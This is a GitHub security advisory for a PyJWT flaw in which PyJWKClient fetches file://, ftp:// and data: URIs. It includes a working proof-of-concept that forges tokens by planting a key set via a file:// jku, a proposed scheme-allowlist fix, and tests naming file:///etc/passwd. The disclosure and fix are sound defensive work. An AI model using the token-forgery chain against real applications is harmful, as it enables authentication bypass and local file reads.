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PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes

Moderate severity GitHub Reviewed Published May 21, 2026 in jpadilla/pyjwt • Updated Jul 31, 2026

Package

pip PyJWT (pip)

Affected versions

>= 2.0.0, <= 2.12.1

Patched versions

2.13.0

Description

Note

The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

  1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
  2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
  3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

Library Behavior on jku=file://... Mechanism
PyJWT 2.12.1 (Python) Reads file from disk, parses, uses for signature verification urllib default OpenerDirector includes FileHandler
panva/jose 6.2.3 (Node.js) Refuses pre-fetch WHATWG fetch() rejects non-http(s) at fetch-spec layer
golang-jwt + MicahParks/keyfunc v3.4.0 (Go) Refuses pre-fetch http.DefaultTransport only registers http/https
Microsoft.IdentityModel.Tokens 8.18.0 (.NET) Refuses pre-fetch HttpDocumentRetriever defaults RequireHttps=true
Spring Security NimbusJwtDecoder 6.3.4 (Java) Refuses pre-fetch URI parser delegation refuses non-http(s) at request build

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwks_client.py

def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()


def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")

Tests to add

def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))

Compatibility

  • Default allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
  • Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
  • No changes to urllib fetch logic itself — the fix is a pre-validation gate

Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

References

@jpadilla jpadilla published to jpadilla/pyjwt May 21, 2026
Published by the National Vulnerability Database May 28, 2026
Published to the GitHub Advisory Database Jun 15, 2026
Reviewed Jun 15, 2026
Last updated Jul 31, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(13th percentile)

Weaknesses

Unintended Proxy or Intermediary ('Confused Deputy')

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Learn more on MITRE.

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-48522

GHSA ID

GHSA-993g-76c3-p5m4

Source code

Credits

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